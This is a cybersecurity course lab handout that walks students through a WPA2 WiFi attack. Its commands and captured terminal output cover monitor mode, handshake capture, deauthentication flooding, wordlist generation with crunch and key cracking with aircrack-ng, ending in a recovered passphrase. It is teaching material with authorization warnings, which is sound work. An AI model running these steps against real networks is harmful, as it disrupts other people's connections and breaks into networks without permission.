

Made by Moez Javed



Applied Cyber Security Industry Led-Course

Instructor: **Faisal Shahzad**

Lab Instructor: **Moez Javed**

Lab10: Wireless Attack

Availability:

- ☐ Monday to Friday: 9 AM – 5 PM (at CUST)
- ☐ After 5 PM: Please drop a message instead of calling.

Lab Instructor Contact Details:

- ☐ Phone: +92 333 8744696
- ☐ Email: moezjavedyousafrana@gmail.com

WiFi Hacking Lab

For Educational Use Only

Do not attempt on unauthorized networks.

Objective

Students will learn how to:

- Identify wireless network interfaces
- Enable monitor mode
- Capture WPA2 handshakes
- Perform a dictionary-based attack using aircrack-ng

Lab Requirements

- Kali Linux
- A compatible wireless adapter
- Internet for dictionary setup
- Permission to use the test WiFi network

Steps and Commands (With Explanation)

Step 1: Check Network Interfaces

Command:

ifconfig

```
(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.222.30 netmask 255.255.255.0 broadcast 192.168.222.255
    inet6 fe80::db2:5ee0:eb50:78d2 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 4 bytes 538 (538.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 24 bytes 3152 (3.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
    inet6 fe80::b63d:f81a:8622:6aa9 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:6b:60:30 txqueuelen 1000 (Ethernet)
    RX packets 1 bytes 590 (590.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 24 bytes 3152 (3.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Description: Lists all network interfaces (e.g., eth0, lo, wlan0 or similar).

Step 2: Confirm Wireless Interface

❑ Command:

Check for wlan0 or similar in ifconfig output.

Ifconfig and iwconfig

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.222.30 netmask 255.255.255.0 broadcast 192.168.222.255
    inet6 2404:3100:1008:c9c8:580d:405f:6b2:4920 prefixlen 64 scopeid 0<global>
    inet6 fe80::db2:5ee0:eb50:78d2 prefixlen 64 scopeid 0<link>
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 13 bytes 1256 (1.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 53 bytes 11851 (11.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
    inet6 fe80::b63d:f81a:8622:6aa9 prefixlen 64 scopeid 0<link>
    ether 08:00:27:6b:60:30 txqueuelen 1000 (Ethernet)
    RX packets 1 bytes 590 (590.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 42 bytes 6812 (6.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether e2:42:dd:4e:98:46 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
kali@kali: ~
File Actions Edit View Help
Run it as root

(kali@kali)-[~]
$ ifconfig wlan0 down
SIOCSIFFLAGS: Operation not permitted

(kali@kali)-[~]
$ sudo ifconfig wlan0 down
[sudo] password for kali:

(kali@kali)-[~]
$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

eth1      no wireless extensions.

wlan0     IEEE 802.11 ESSID:off/any
          Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
          Retry short limit:7 RTS thr:off Fragment thr:off
          Power Management:on

(kali@kali)-[~]
$ iwconfig wlan0 mode monitor
Error for wireless request "Set Mode" (888e) :
  SET failed on device wlan0 ; Operation not permitted.

(kali@kali)-[~]
$ sudo iwconfig wlan0 mode monitor

(kali@kali)-[~]
$ sudo ifconfig wlan0 up

(kali@kali)-[~]
$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.
```

❑ Description: Ensure your wireless adapter is recognized.

Step 3: Check Wireless Capabilities

□ *Command:*

iwconfig

```
(kali㉿kali)-[~]
└─$ sudo ifconfig wlan0 down
[sudo] password for kali:
(kali㉿kali)-[~]
└─$ iwconfig
lo        no wireless extensions.
eth0      no wireless extensions.
eth1      no wireless extensions.
wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
crunch will now generate the following amount of data: 3712930 bytes
```

□ Description: Displays wireless interfaces and their modes (Managed or Monitor).

Step 4: Enable Monitor Mode

□ *Command:*

sudo ifconfig wlan0 down

sudo iwconfig wlan0 mode monitor

sudo ifconfig wlan0 up

```
(kali㉿kali)-[~]
└─$ sudo ifconfig wlan0 down
[sudo] password for kali:
(kali㉿kali)-[~]
└─$ iwconfig wlan0 mode monitor
Error for wireless request "Set Mode" (8B06) :
      SET failed on device wlan0 ; Operation not permitted.

(kali㉿kali)-[~]
└─$ sudo ifconfig wlan0 up
(kali㉿kali)-[~]
└─$ iwconfig
lo        no wireless extensions.
eth0      no wireless extensions.
eth1      no wireless extensions.
wlan0     IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
```

□ Description: Puts the wireless adapter in monitor mode.

Made by Moez Javed

Step 5: Scan Nearby WiFi Networks

□ *Command:*

sudo airodump-ng wlan0

```
(kali@kali) ~$ sudo airodump-ng wlan0
CH 3 ][ Elapsed: 1 min ][ 2025-05-04 06:22 ][ Decloak: 34:C9:3D:46:EE:A7

BSSID      PWR Beacons  RData, R/s  CH  MB  ENC CIPHER AUTH ESSID
BA:AD:89:00:00:00 -88 2 0 0 180 WPA2 CCMP PSK V2R61
82:82:00:00:00:00 -88 8 2 0 180 WPA2 CCMP PSK
8C:85:80:2A:00:00 -89 3 0 0 130 WPA2 CCMP PSK
FA:28:D3:10:00:00 -89 2 0 0 180 WPA2 CCMP PSK
AE:22:4C:82:00:00 -80 3 0 0 180 WPA2 CCMP PSK
4A:2A:8F:ED:00:00 -89 7 0 0 65 WPA2 CCMP PSK
C0:C9:E3:C2:00:00 -1 0 0 0 -1
34:C9:3D:46:EE:A7 -1 0 12 0 -1 QP
1C:28:D8:19:00:00 -89 2 0 0 130 WPA2 CCMP PSK
6C:5A:08:0F:00:00 -89 9 0 0 130 WPA2 CCMP PSK
90:D8:63:90:00:00 -89 15 0 0 65 WPA2 CCMP PSK
34:8A:98:10:00:00 -77 26 0 0 130 WPA2 CCMP PSK
0A:00:07:0C:00:00 -77 18 0 0 130 WPA2 CCMP PSK
F2:8F:C8:B3:00:00 -88 2 0 0 180 WPA2 CCMP PSK
D8:47:32:B1:00:00 -87 14 1 0 270 WPA2 CCMP PSK
1C:28:D8:19:00:00 -86 13 2 0 130 WPA2 CCMP PSK
00:18:8B:8B:00:00 -84 16 0 0 130 WPA2 CCMP PSK
C0:C9:E3:C2:00:00 -88 34 630 0 130 WPA2 CCMP PSK
9A:F4:AB:F1:00:00 -88 48 0 0 48 WPA2 CCMP PSK
06:8A:5F:ED:00:00 -34 268 14 0 180 WPA2 CCMP PSK
FA:23:1E:CB:00:00 -81 143 0 0 65 WPA2 CCMP PSK
A0:A3:F0:7C:00:00 -70 294 1 0 130 WPA2 CCMP PSK

BSSID      STATION      PWR  Rate  Lost  Frames  Notes  Probes
82:82:00:00:00:00 00:08:22:82:0A:107 -84 0 - 1 93 2
82:82:00:00:00:00 22:C1:E1:93:E7:3A -90 0 - 1 0 1
C0:C9:E3:C2:00:00 06:1C:71:91:D8:93 -90 0 - 1 0 1
C0:C9:E3:C2:00:00 02:18:08:01:AD:3A -86 0 - 1e 0 2
34:8A:98:10:00:00 0E:B3:C1:3E:C1:A2 -76 0 - 6e 0 1
C0:C9:E3:C2:00:00 7A:1C:05:1E:09:9A -78 24e- 1e 0 669
W associa 82:18:DA:59:BF:AD -90 0 - 1 1 2
```

□ Description: Displays nearby WiFi networks and channels.

Step 6: Focus on One Network

□ *Command:*

sudo airodump-ng --bssid <TARGET_BSSID> --channel

<CHANNEL> wlan0

```
(kali@kali)-[~]
└─$ sudo airodump-ng wlan0 --bssid 06:B4:5F:ED:00:00 --channel 1

[Output: airodump-ng wlan0 --bssid 06:B4:5F:ED:00:00 --channel 1]

CH 1 ][ Elapsed: 18 s ][ 2025-05-04 06:26

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
06:B4:5F:ED:00:00 -36 100 208 1 0 1 180 WPA2 CCMP PSK [REDACTED]

BSSID STATION PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
06:B4:5F:ED:00:00 34:C9:3D:46:EE:A7 -1 1e- 0 0 1
```

- Description: Filters results to a specific network, preparing to capture the handshake.

Step 7: Capture Handshake to File

□ Command:

sudo airodump-ng --bssid <TARGET_BSSID> --channel <CHANNEL> --write wifihacking wlan0

```
(kali@kali)-[~]
└─$ sudo airodump-ng --bssid 06:B4:5F:ED:00:00 --channel 1 --write wifihacking wlan0
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
06:41:11 Created capture file "wifihacking-01.cap".

[Output: airodump-ng --bssid 06:B4:5F:ED:00:00 --channel 1 --write wifihacking wlan0]

CH 1 ][ Elapsed: 45 mins ][ 2025-05-04 07:26 ][ interface wlan0 down

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
06:B4:5F:ED:00:00 -30 100 25997 655 0 1 180 WPA2 CCMP PSK [REDACTED]

BSSID STATION PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
06:B4:5F:ED:00:00 34:C9:3D:46:EE:A7 -30 1e- 6e 0 539 EAPOL
```

- Description: Writes captured packets to a .cap file.

Made by Moez Javed

Step 8: Force Device Reconnect (Deauth)

□ *Command:*

sudo aireplay-ng --deauth 4 -a <TARGET_BSSID> wlan0

```
(kali@kali)~$ sudo aireplay-ng --deauth 4 -a 06:B4:5F:ED:50:0B wlan0
[sudo] password for kali:
06:45:00 Waiting for beacon frame (BSSID: 06:B4:5F:ED:50:0B) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:45:00 Sending DeAuth (code 7) to broadcast -- BSSID: [06:B4:5F:ED:50:0B]
06:45:01 Sending DeAuth (code 7) to broadcast -- BSSID: [06:B4:5F:ED:50:0B]
06:45:02 Sending DeAuth (code 7) to broadcast -- BSSID: [06:B4:5F:ED:50:0B]
06:45:02 Sending DeAuth (code 7) to broadcast -- BSSID: [06:B4:5F:ED:50:0B]
```

□ Description: Sends deauth packets to force clients to reconnect.

Step 9: Create a Custom Wordlist

□ *Command:*

sudo crunch 9 9 mj1234567 -t mj@@@@@67 -o myword.txt

```
(kali@kali)~$ sudo crunch 9 9 admj123456789 -t mj0000067 -o myword.txt
[sudo] password for kali:
Crunch will now generate the following amount of data: 3712930 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 371293
crunch: 100% completed generating output
```

□ Description: Generates a patterned wordlist.

Step 10: Crack the Handshake (Custom Dictionary)

□ *Command:*

sudo aircrack-ng wifihacking-01.cap -w myword.txt wlan0

```
(kali@kali)-[~]
└─$ sudo aircrack-ng wifihacking-01.cap -w myword.txt wlan0
Reading packets, please wait ...
Opening wlan0
Failed to open 'wlan0' (2): No such file or directory
Opening wifihacking-01.cap
Read 328833 packets.

# BSSID      ESSID      Encryption
1 06:B4:5F:ED:50:08 Galaxy A73 WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait ...
Opening wifihacking-01.cap
Opening wlan0
Failed to open 'wlan0' (2): No such file or directory
Read 328833 packets.

1 potential targets

Aircrack-ng 1.7

[00:00:00] 36/81 keys tested (109.46 k/s)

Time left: 0 seconds 44.44%

KEY FOUND! [ mj1234567 ]

Master Key : 7D 1F D2 BA D3 CF 52 FE 24 0E BC 03 DB 43 0B 57
            D8 78 71 5E BA EA 6C 70 92 29 CD 46 48 7A 81 C9

Transient Key : 91 11 EE AD 4F C7 66 C5 FB 57 33 18 8E 7E 81 57
                02 F2 17 D2 A7 2F 6B 22 63 7D 9A 3F AF 1F 82 17
                12 D7 C3 57 00 9B 90 47 91 14 06 87 77 ED 87 00
                9C 11 00 69 C1 24 83 CE 8B 73 6B 9A B1 0A CE 00

EAPOL HMAC : BD 85 14 D2 E5 BF 81 44 C2 F8 A7 60 58 A3 E9 19
```

```
1 potential targets

Aircrack-ng 1.7

[00:00:00] 36/81 keys tested (109.46 k/s)

Time left: 0 seconds 44.44%

KEY FOUND! [ mj1234567 ]

Master Key : 7D 1F D2 BA D3 CF 52 FE 24 0E BC 03 DB 43 0B 57
            D8 78 71 5E BA EA 6C 70 92 29 CD 46 48 7A 81 C9

Transient Key : 91 11 EE AB 4F C7 66 C5 FB 57 33 18 8E 7E 81 57
                02 F2 17 D2 A7 2F 6B 22 63 7D 9A 3F AF 1F 82 17
                12 D7 C3 57 00 9B 90 47 91 14 06 87 77 ED 87 00
                9C 11 00 69 C1 24 83 CE 8B 73 6B 9A B1 0A CE 00

EAPOL HMAC : BD 85 14 D2 E5 BF 81 44 C2 F8 A7 60 58 A3 E9 19
```

- Description: Tries passwords from your custom dictionary.

Step 11: Crack the Handshake (Default Dictionary)

□ Command:

sudo aircrack-ng wifihacking-01.cap -w /usr/share/wordlists/rockyou.txt wlan0

```
(kali@kali)-[~]
└─$ sudo aircrack-ng wifihacking-01.cap -w /usr/share/wordlists/rockyou.txt wlan0
Reading packets, please wait ...
Opening wifihacking-01.cap
Opening wlan0
Failed to open 'wlan0' (2): No such file or directory
Read 395509 packets.

# BSSID      ESSID      Encryption
1 06:B4:5F:ED:50:08 Galaxy A73 WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait ...
Opening wifihacking-01.cap
Opening wlan0
Failed to open 'wlan0' (2): No such file or directory
Read 395509 packets.

1 potential targets

Aircrack-ng 1.7

[00:00:31] 9564/14344392 keys tested (308.16 k/s)

Time left: 12 hours, 55 minutes, 16 seconds 0.07%

Current passphrase: qwertyuiop[]

Master Key : F1 51 A7 44 88 E9 A4 93 E7 15 50 E9 E9 88 C8 81
            B2 C0 2A CF B0 C5 3E 26 EA 5E 50 7F 80 B8 CD B9
```


□ Description: Uses the rockyou.txt dictionary.

□ **Deliverables**

Each student must submit:

1. Screenshot of monitor mode enabled.
2. Screenshot of captured handshake.
3. A .txt file of their custom wordlist (if created).
4. Result of the aircrack-ng attempt (success or failure).